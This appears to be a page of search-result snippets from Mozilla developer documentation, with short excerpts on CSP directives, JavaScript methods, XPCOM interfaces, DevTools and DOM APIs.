...And 12 more matches
Content Security Policy (CSP) - HTTP
WebHTTPCSP
(sometimes you may see mentions of the x-content-security-policy header, but that's an older version and you don't need to specify it anymore.) alternatively, the <meta> element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks.
... csp makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the browser should consider to be valid sources of executable scripts.
... mitigating packet sniffing attacks in addition to restricting the domains from which content can be loaded, the server can specify which protocols are allowed to be used; for example (and ideally, from a security standpoint), a server can specify that all content must be loaded using https.
...And 12 more matches
CSP: default-src - HTTP
the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives.
... for each of the following directives that are absent, the user agent looks for the default-src directive and uses this value for it: child-src connect-src font-src frame-src img-src manifest-src media-src object-src prefetch-src script-src script-src-elem script-src-attr style-src style-src-elem style-src-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy: content-security-policy: default-src <source>; content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 12 more matches
CSP: font-src - HTTP
csp version 1 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the font-src policy: content-security-policy: font-src <source>; content-security-policy: font-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 12 more matches
CSP: frame-src - HTTP
the http content-security-policy (csp) frame-src directive specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>.
... csp version 1 directive type fetch directive fallback if this directive is absent, the user agent will look for the child-src directive (which falls back to the default-src directive).
... syntax one or more sources can be allowed for the frame-src policy: content-security-policy: frame-src <source>; content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 12 more matches
CSP: manifest-src - HTTP
the http content-security-policy: manifest-src directive specifies which manifest can be applied to the resource.
... csp version 3 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the manifest-src policy: content-security-policy: manifest-src <source>; content-security-policy: manifest-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 12 more matches
CSP: media-src - HTTP
csp version 1 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the media-src policy: content-security-policy: media-src <source>; content-security-policy: media-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 12 more matches
CSP: navigate-to - HTTP
the http content-security-policy (csp) navigate-to directive restricts the urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... syntax one or more sources can be set for the navigate-to policy: content-security-policy: navigate-to <source>; content-security-policy: navigate-to <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 12 more matches
CSP: script-src-attr - HTTP
csp version 3 directive type fetch directive default-src fallback yes.
...nt-security-policy: script-src-attr <source>; content-security-policy: script-src-attr <source> <source>; script-src-attr can be used in conjunction with script-src: content-security-policy: script-src <source>; content-security-policy: script-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 12 more matches
CSP: script-src-elem - HTTP
csp version 3 directive type fetch directive default-src fallback yes.
...nt-security-policy: script-src-elem <source>; content-security-policy: script-src-elem <source> <source>; script-src-elem can be used in conjunction with script-src: content-security-policy: script-src <source>; content-security-policy: script-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 12 more matches
CSP: worker-src - HTTP
csp version 3 directive type fetch directive fallback if this directive is absent, the user agent will first look for the child-src directive, then the script-src directive, then finally for the default-src directive, when governing worker execution.
... chrome 59 and higher skips the child-src directive.
... syntax one or more sources can be allowed for the worker-src policy: content-security-policy: worker-src <source>; content-security-policy: worker-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 12 more matches
A typical HTTP session - HTTP
WebHTTPSession
establishing a connection in client-server protocols, it is the client which establishes the connection.
...the url of a page to fetch contains both the domain name, and the port number, though the latter can be omitted if it is 80.
...to work around this problem, web developers use several techniques: ping the server periodically via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols.
...And 12 more matches
JSON.stringify() - JavaScript
if this is a number, it indicates the number of space characters to use as white space; this number is capped at 10 (if it is greater, the value is just 10).
... if this is a string, the string (or the first 10 characters of the string, if it's longer than that) is used as white space.
...if any such values are encountered during conversion they are either omitted (when found in an object) or changed to null (when found in an array).
...And 12 more matches
Promise.any() - JavaScript
syntax promise.any(iterable); parameters iterable an iterable object, such as an array.
... an asynchronously resolved promise if the iterable passed contains no promises.
...this returned promise is then resolved/rejected asynchronously (as soon as the stack is empty) when any of the promises in the given iterable resolve, or if all the promises have rejected.
...And 12 more matches
String.prototype.indexOf() - JavaScript
the indexof() method returns the index within the calling string object of the first occurrence of the specified value, starting the search at fromindex.
... syntax str.indexof(searchvalue [, fromindex]) parameters searchvalue the string value to search for.
... if no string is explicitly provided, searchvalue will be coerced to "undefined", and this value will be searched for in str.
...And 12 more matches
xlink:href - SVG: Scalable Vector Graphics
the exact meaning of that link depends on the context of each element using it.
... if the reference is to a <glyph> element and that glyph is available, then that glyph is rendered instead of the characters that are inside of the <altglyph> element.
... if the reference is to an <altglyphdef> element, then if an appropriate set of alternate glyphs is located from processing the <altglyphdef> element, then those alternate glyphs are rendered instead of the characters that are inside of the <altglyph> element.
...And 12 more matches
Compiling from Rust to WebAssembly - WebAssembly
for the former case, check out projects like yew.
...this installs a tool called "rustup", which lets you manage multiple versions of rust.
... by default, it installs the latest stable rust release, which you can use for general rust development.
...And 12 more matches
Fundamental CSS comprehension - Learn web development
you've covered a lot in this module, so it must feel good to have reached the end!
... objective: to test comprehension of fundamental css theory, syntax and mechanics.
... alternatively, you could use a site like jsbin or glitch to do your assessment.
...And 11 more matches
Floats - Learn web development
but web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps.
...there are newer, better layout techniques available and so use of floats in this way should be regarded as a legacy technique.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> now apply the following css to your html (using a <style> element or a <link> to a separate .css file — your choice): body { width: 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .box { width: 150px; height: 100px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } if you save and refresh now, you'll see something much like what you'd expect — the box is sitting above the text, in normal flow.
...And 11 more matches
Normal Flow - Learn web development
previous overview: css layout next this article explains normal flow, or the way that webpage elements lay themselves out if you have not changed their layout.
... prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to explain how browsers layout web pages by default, before we begin to make changes.
... as detailed in the last lesson introducing layout, elements on a webpage lay out in the normal flow, if you have not applied any css to change the way they behave.
...And 11 more matches
How do you set up a local testing server? - Learn web development
this article explains how to set up a simple local testing server on your machine, and the basics of how to use it.
...remote files throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the html file, dragging and dropping it into the browser window, or choosing file > open...
...there are many ways to achieve this.
...And 11 more matches
React resources - Learn web development
component-level styles although this tutorial doesn't use this approach, many react applications define their styles on a per-component basis, rather than in a single, monolithic stylesheet.
...for this app, we could have for example written a dedicated form.css file to house the styles of those respective components, then imported the styles into their respective modules like this: import form from './form'; import './form.css' this approach makes it easy to identify and manage the css that belongs to a specific component.
... react devtools we used console.log() to check on the state and props of our application in this tutorial, and you'll also have seen some of the useful warnings and error message that react gives you both in the cli and your browser's javascript console.
...And 11 more matches
Android-specific test suites
android-checkstyle ensures that the java coding style is consistent throughout.
... these tests are local — they run on your development machine and do not require an android device or android emulator.
... running android-test to run android-test, first build firefox for android with your changes; then run ./mach android test this will run the tests and report the results to stdout, as well as produce an html report.
...And 11 more matches
Limitations of frame scripts
however, some apis that work in the chrome process will not work in a frame script.
... this is one of a pair of articles: the other one lists limitations of chrome scripts.
... examples of apis add-on authors should avoid in frame scripts: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely to not work in the content process.
...And 11 more matches
Limitations of frame scripts
however, some apis that work in the chrome process will not work in a frame script.
...file i/o should all be done in the chrome process.
... for example: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) file: uris, see bug 1187099 <...> xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely not to work in the content process.
...And 11 more matches
How to Report a Hung Firefox
note: this article is intended for developers and technically-knowledgeable users.
...this may be because of a code error within firefox itself, such as a deadlock or infinite loop, or it may be caused by 3rd-party software such as a firefox extension, antivirus software, or even malware or a virus on your computer.
... what information to include in a bug report as usual, following bug writing guidelines will make your report much more likely to lead to a fix in firefox.
...And 11 more matches
Fonts for Mozilla's MathML engine
this wiki page describes how users can install and use such math fonts with mozilla's mathml engine.
... open the zip archive, move inside the latinmodern-math-1959 directory and then inside the otf directory.
... open the zip archive, move inside the /stixv2.0.0/fonts/otf/ directory.
...And 11 more matches
NSS sources building testing
getting source code, and a quick overview the easiest way is to download archives of nss releases from mozilla's download server.
...because nss depends on the base library nspr, you should download the archive that combines both nss and nspr.
... hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other.
...And 11 more matches
NSS tools : pk12util
-d [sql:]directory specify the database directory into which to import to or export from certificates and keys.
...changing the names of the certificate and key databases is not recommended.
...the default is to return information in a pretty-print ascii format, which displays the information about the certificates and public keys in the p12 file.
...And 11 more matches
OLD SSL Reference
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... this chapter introduces some of the basic ssl functions.
...And 11 more matches
NSS tools : pk12util
-d [sql:]directory specify the database directory into which to import to or export from certificates and keys.
...changing the names of the certificate and key databases is not recommended.
...the default is to return information in a pretty-print ascii format, which displays the information about the certificates and public keys in the p12 file.
...And 11 more matches
Functions
when the function object is created, its parent is set to the first object on the scope chain.
... when a name is evaluated that doesn't refer to a local variable, the interpreter consults the scope chain to find the variable.
...this is slow, not only because walking the scope chain is a drag, but also because we'd rather avoid actually creating the scope chain at all, if possible.
...And 11 more matches
Introduction to the JavaScript shell
you can use it as an interactive shell, in which you type javascript code at a prompt and get instant gratification, which is handy for experimenting or testing new features.
... you can also pass in, on the command line, a javascript program file to run, in which case the program is run automatically.
...fox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use this command: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascript shell is used as a test environment for the javascript engine, the available options and built-in functions can change over time.
...And 11 more matches
JS::CompileFunction
syntax bool js::compilefunction(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, const char16_t *chars, size_t length, js::mutablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, js::sourcebufferholder &srcbuf, js::mutablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvecto...
...r &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, const char *bytes, size_t length, js::mutablehandlefunction fun); name type description cx jscontext * the context in which to compile the function.
... scopechain js::autoobjectvector &amp; the scope in which to compile the function.
...And 11 more matches
JSClass.flags
if this flag is set, each instance of the class has a field for private data.
... mxr id search for jsclass_has_private jsclass_private_is_nsisupports mozilla extension.
... the private field of each object of this class points to an xpcom object (see nsisupports).
...And 11 more matches
JS_DefineProperty
syntax bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, js::handlevalue value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, js::handleobject value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, js::handlestring value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, int32_t value, unsigned attrs...
..., jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, uint32_t value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, double value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::handlevalue value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_...
...t namelen, js::handleobject value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::handlestring value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, int32_t value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, uint32_t value, unsigned attrs, jsnative getter = nu...
...And 11 more matches
JS_LookupProperty
syntax bool js_lookupproperty(jscontext *cx, js::handleobject obj, const char *name, js::mutablehandlevalue vp); bool js_lookupucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::mutablehandlevalue vp); bool js_lookuppropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 bool js_lookupelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandleval...
...ue vp); // ---- obsolete since spidermonkey 31 ---- bool js_lookuppropertywithflags(jscontext *cx, js::handleobject obj, const char *name, unsigned flags, js::mutablehandlevalue vp); bool js_lookuppropertywithflagsbyid(jscontext *cx, js::handleobject obj, js::handleid id, unsigned flags, js::mutablehandleobject objp, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject object to search on for the property.
...And 11 more matches
Mork
MozillaTechMork
mork structure mork is a schema-less database format.
... at its core, it can be viewed as a set of rows, collections of name-value pairs, which can be organized into various tables.
...in practice, only c++-style comments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used.
...And 11 more matches
Components.utils.Sandbox
see security checks for more information on security principals.
... system principal to specify the system principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); content principal you can specify a content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, such as that returned by the dom window property as a string uri like "http://www.example.com/" (discouraged) when possible, specify a window or an nsiprincipal object instead of using a string uri.
... window objects and nsiprincipal carry additional information such as origin attributes and same-origin privilege changes caused by setting document.domain.
...And 11 more matches
Language bindings
an xpcom language binding is a bridge between a particular language and xpcom to provide access to xpcom objects from that language, and to let modules written in that language be used as xpcom objects by all other languages for which there are xpcom bindings.
... exposes modules written in the bound language as xpcom objects, thereby enabling all other languages for which xpcom bindings exist to access these modules.
... the following bridging layers are currently available: components objectthe components object is the object through which xpconnect functionality is reflected into javascript.
...And 11 more matches
mozIRegistry
it's not really about any "registry interface" so much as it's about how mozilla supports a more dynamic binding between interface clients and the code that actually provides the implementation of those interfaces.
... it happens that this objective requires storing information about which implementation to use in a place distinct from your source code.
... and it happens that we've chosen, up till now, to store that information in the "netscape registry" file.
...And 11 more matches
nsIAccessNode
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the nsiaccessnode implementations are instantiated lazily.
... method overview nsiaccessnode getchildnodeat(in long childnum); obsolete since gecko 2.0 nsidomcssprimitivevalue getcomputedstylecssvalue(in domstring pseudoelt, in domstring propertyname); domstring getcomputedstylevalue(in domstring pseudoelt, in domstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinatetype, in long ax, in long ay); attributes note: attempting to access the attributes of a node that is unattached from the accessible tree will result in an exception - ns_error_...
... firstchildnode nsiaccessnode the first nsiaccessnode child.
...And 11 more matches
nsICookieManager2
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookiemanager this interface is included in the services.jsm javascript code module.
...); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8string ahost); boolean findmatchingcookie(in nsicookie2 acookie, out unsigned long acountfromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookiesfromhost(in autf8string ahost); void importcookies(in nsifile acookiefile); methods add() adds a cookie.
... void add( in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry ); parameters ahost the host or domain for which the cookie is set.
...And 11 more matches
nsICookiePermission
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nscookieaccess canaccess(in nsiuri auri, in nsichannel achannel); boolean cansetcookie(in nsiuri auri, in nsichannel achannel, in nsicookie2 acookie, inout boolean aissession, inout print64 aexpiry); nsiuri getoriginatinguri(in nsichannel achannel); void setaccess(in nsiuri auri, in nscookieaccess aaccess); constants constant value description access_default 0 nscookieaccess's access default value access_allow 1 nscookieaccess's access allow value access_deny 2 nscookieaccess's access deny value access_session 8 ad...
...ditional values for nscookieaccess, which are not directly used by any methods on this interface, but are nevertheless convenient to define here.
... methods canaccess() tests whether or not the given uri/channel may access the cookie database, either to set or get cookies.
...And 11 more matches
nsIDOMWindow
it represents a single window object that may contain child windows if the document in the window contains an html frameset document, or if the document contains iframe elements.
... 66 introduced gecko 1.0 deprecated gecko 44 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting with firefox 44, this file is empty as its features were either no longer used or are only available from c++ code; see dom/base/nspidomwindow.h for those.
... starting in firefox 3, dom windows are actually based on nsidomwindow2, which is a subclass of nsidomwindow that adds some new features to this interface.
...And 11 more matches
nsIHttpServer
* * @param port * the port upon which listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if this server is already started * @throws ns_error_not_available * if the server is not started and cannot be started on the desired port * (perhaps because the port is already in use or because the process does * not have privileges to do so) * @note * ...
... * * @param callback * an asynchronous callback used to notify the user when this server is * stopped and all pending requests have been fully served * @throws ns_error_null_pointer * if callback is null * @throws ns_error_unexpected * if this server is not running */ void stop(in nsihttpserverstoppedcallback callback); /** * associates the local file represented by the string file with all request...
...s * which match request.
...And 11 more matches
nsIMsgIdentity
each identity is identified by a key, which is the id string in the identity preferences, such as in mail.identity.<id>.replyto.
... inherits from: nsisupports method overview void clearallvalues(); void copy(in nsimsgidentity identity); astring getunicharattribute(in string name); void setunicharattribute(in string name, in astring value); acstring getcharattribute(in string name); void setcharattribute(in string name, in acstring value); boolean getboolattribute(in string name); void setboolattribute(in string name, in boolean value); long getintattribute(in string name); void setintattribute(in string name, in long value); astring tostring(); attributes attribute type description identityname astring fullname astring user's full name, i.e.
... attachsignature boolean should we attach a signature by default?
...And 11 more matches
nsIPluginHost
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdataurl); native code only!
... nsistreamlistener instantiatepluginforchannel(in nsichannel achannel, in nsiplugininstanceowner aowner); native code only!
... void ispluginenabledforextension(in string aextension, in constcharstarref amimetype); native code only!
...And 11 more matches
nsISocketTransportService
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/socket-transport-service;1.
... to create an instance, use: var sockettransportservice = components.classes["@mozilla.org/network/socket-transport-service;1"] .getservice(components.interfaces.nsisockettransportservice); method overview void attachsocket(in prfiledescptr afd, in nsasockethandlerptr ahandler); native code only!
... nsisockettransport createtransport(in array<acstring> asockettypes, in autf8string ahost, in long aport, in nsiproxyinfo aproxyinfo); void init(); obsolete since gecko 1.8 void notifywhencanattachsocket(in nsirunnable aevent); native code only!
...And 11 more matches
nsITransactionList
inherits from: nsisupports last changed in gecko 1.7 method overview nsitransactionlist getchildlistforitem(in long aindex); nsitransaction getitem(in long aindex); long getnumchildrenforitem(in long aindex); boolean itemisbatch(in long aindex); attributes attribute type description numitems long the number of transactions contained in this list.
... methods getchildlistforitem() returns the list of children associated with the item at aindex.
... implementations may return null if there are no children, or an empty list.
...And 11 more matches
nsITreeBoxObject
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method overview long getfirstvisiblerow(); long getlastvisiblerow(); long getpagelength(); void ensurerowisvisible(in long index); void ensurecellisvisible(in long row, in nsitreecolumn col); void scrolltorow(in long index); ...
...alidaterow(in long index); void invalidatecell(in long row, in nsitreecolumn col); void invalidaterange(in long startindex, in long endindex); void invalidatecolumnrange(in long startindex, in long endindex, in nsitreecolumn col); long getrowat(in long x, in long y); void getcellat(in long x, in long y, out long row, out nsitreecolumn col, out acstring childelt); void getcoordsforcellitem(in long row, in nsitreecolumn col, in acstring element, out long x, out long y, out long width, out long height); boolean iscellcropped(in long row, in nsitreecolumn col); void rowcountchanged(in long index, in long count); void beginupdatebatch(); void endupdatebatch(); void clearstyleandimagecaches(); ...
... this is a node that corresponds to the treechildren tag.
...And 11 more matches
nsIUTF8ConverterService
inherits from: nsisupports last changed in gecko 1.7 method overview autf8string convertstringtoutf8(in acstring astring, in string acharset, in boolean askipcheck); autf8string converturispectoutf8(in acstring aspec, in string acharset); methods convertstringtoutf8() ensure that astring is encoded in utf-8.
... if not, convert to utf-8 assuming it's encoded in acharset and return the converted string in utf-8.
... autf8string convertstringtoutf8( in acstring astring, in string acharset, in boolean askipcheck, in boolean aallowsubstitution ); parameters astring a string to ensure its utf8ness.
...And 11 more matches
nsIXULTemplateResult
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) each result is identified by an id, which must be unique within the set of results produced from a query.
...generally, the result and its id will be able to uniquely identify a node in the source data, such as an rdf or xml node.
... in other contexts, such as a database query, a result would represent a particular record.
...And 11 more matches
Version, UI, and Status Information - Plugins
« previousnext » this chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and check on the current version of the plug-in api and the browser.
... displaying a status line message users are accustomed to checking the ui status line at the bottom of the browser window for updates on the progress of an operation or the url of a link on the page.
...the user might appreciate seeing the percentage completed of the current operation or the url of a button or other link object when the cursor is over it, all of which the browser shows.
...And 11 more matches
Debugging service workers - Firefox Developer Tools
registration is done with a block of code along these lines, using the register() method: if('serviceworker' in navigator) { navigator.serviceworker .register('sw.js') .then(function() { console.log('service worker registered'); }); } if you get the path wrong, for example, you'll get an error in the web console giving you a hint as to what's wrong, which depends on what exactly is wrong with the code.
... the server worker’s status, which can be one of the following: stopped: the service worker is installed, but not currently running.
... unregister on the right-hand side of the service workers view there is an unregister button, which when pressed unregisters the service worker.
...And 11 more matches
UI Tour - Firefox Developer Tools
the ui is split vertically into three panels source list pane source pane the contents of the third pane depend on the current state of the debugger and may include the following sections: toolbar watch expressions breakpoints call stack scopes xhr breakpoints event listener breakpoints dom mutation breakpoints source list pane the source list pane lists all the javascript source files loaded into the page, and enables you to select one to debug.
... at the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served.
... you can search for a file using ctrl + p (cmd + p on a mac).
...And 11 more matches
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
note: the examples shown in the screenshots appearing in this article are jen simmons' futurismo and variations on a grid experiments, and a live named grid area example from rachel andrew.
... clicking the icon toggles the display of a grid overlay on the page, which appears over the element, laid out like a grid to show the position of its grid lines and tracks: the overlay is still shown when you select other elements, so you can edit related css properties and see how the grid is affected.
... grid options the grid section of the layout view looks like this: you'll see a number of options contained within: overlay grid: contains a checkbox for each grid present on the page, along with various options.
...And 11 more matches
Attr - Web APIs
WebAPIAttr
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/attr" target="_top"><rect x="266" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the c...
... this change is implemented in chrome since version 46.0 and firefox since version 48.0.
...And 11 more matches
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
the connect() method of the audionode interface lets you connect one of the node's outputs to a target, which may be either another audionode (thereby directing the sound data to the specified node) or an audioparam, so that the node's output data is automatically used to change the value of that parameter over time.
... syntax var destinationnode = audionode.connect(destination, outputindex, inputindex); audionode.connect(destination, outputindex); parameters destination the audionode or audioparam to which to connect.
... outputindex optional an index specifying which output of the current audionode to connect to the destination.
...And 11 more matches
CustomEvent - Web APIs
this is the object to which the event is currently slated to be sent.
... it's possible this has been changed along the way through retargeting.
... event.deeppath an array of dom nodes through which the event has bubbled.
...And 11 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
example in this example, a drop zone is created, which responds to the drop event by scanning through the dropped files and directories, outputting a hierarchical directory listing.
... html content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing".
...this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter).
...And 11 more matches
Document.execCommand() - Web APIs
when an html document has been switched to designmode, its document object exposes an execcommand method to run commands that manipulate the current editable region, such as form inputs or contenteditable elements.
... avalueargument for commands which require an input argument, is a domstring providing that information.
... commands backcolor changes the document background color.
...And 11 more matches
Document.querySelectorAll() - Web APIs
the document method queryselectorall() returns a static (not live) nodelist representing a list of the document's elements that match the specified group of selectors.
... syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
...And 11 more matches
Examples of web and XML development using the DOM - Web APIs
this chapter provides some longer examples of web and xml development using the dom.
...put type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties of an html paragraph element are accessed using the style object on the element and that object's css style properties, which can be retrieved and set from the dom.
...in the next example (see example 4), you can use stylesheets and their rules to change styles for whole documents.
...And 11 more matches
EventTarget.removeEventListener() - Web APIs
the event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see matching event listeners for removal syntax target.removeeventlistener(type, listener[, options]); target.removeeventlistener(type, listener[, usecapture]); parameters type a string which specifies the type of event for which to remove an event listener.
... options optional an options object that specifies characteristics about the event listener.
... the available options are: capture: a boolean which indicates that events of this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree.
...And 11 more matches
HTMLCanvasElement.getContext() - Web APIs
